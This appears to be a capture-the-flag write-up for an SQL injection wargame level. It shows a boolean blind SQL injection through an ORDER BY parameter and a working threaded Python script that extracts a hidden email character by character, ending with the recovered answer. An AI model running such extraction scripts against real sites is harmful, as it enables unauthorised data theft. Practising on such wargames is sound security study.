In this challenge we can use Blind SQL injection, by giving this query
?order=IF(substr(id,1,1)='a',0,1)
and viewing the way the tables get sorted.
the source code is here:
import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
charset = sorted(string.printable)
true_cond = "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>200</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr>"
max_len = 50
max_workers = 10
# create session with cookie
session = requests.Session()
session.cookies.set("PHPSESSID", "orplvan5dq4jd7dkailkvshr3n")
def check_condition(payload):
params = {"order": payload}
try:
r = session.get(url, params=params, timeout=5)
return true_cond in r.text
except requests.RequestException:
return False
def get_length():
for n in range(1, max_len + 1):
payload = f"IF(LENGTH(email)={n},0,1)"
if check_condition(payload):
print(f"[i] Length of email: {n}")
return n
print(f"[i] Could not determine length (max_len reached)")
return max_len
def check_char(pos, ch):
payload = f"IF(ascii(substr(email,{pos},1))={ord(ch)},0,1)"
return ch if check_condition(payload) else None
def mask_secret(secret, total_len):
"""Pad secret with * until reaching total_len"""
return secret + "*" * (total_len - len(secret))
def extract(initial_flag=""):
length = get_length()
result = list(initial_flag)
start_pos = len(initial_flag) + 1
if initial_flag:
print(f"[i] Starting with initial flag: {initial_flag}")
print(f"[i] Masked: {mask_secret(initial_flag, length)}")
for pos in range(start_pos, length + 1):
found_char = None
with ThreadPoolExecutor(max_workers=max_workers) as executor:
future_to_char = {executor.submit(check_char, pos, ch): ch for ch in charset}
for future in as_completed(future_to_char):
ch = future.result()
if ch:
found_char = ch
for f in future_to_char:
f.cancel()
break
if not found_char:
print(f"[-] No character found at position {pos}, stopping.")
break
result.append(found_char)
print(f"[+] Position {pos}: {mask_secret(''.join(result), length)}")
extracted = "".join(result)
print(f"\n[+] Extraction complete:\n{extracted}")
return extracted
if __name__ == "__main__":
# You can set your known prefix here
extract(initial_flag="admi")
From some reason, it doesn’t manage to find the i inside admin, so i inserted it manually, with initial_flag parameter in the code.
Password: admin_secure_email@emai1.com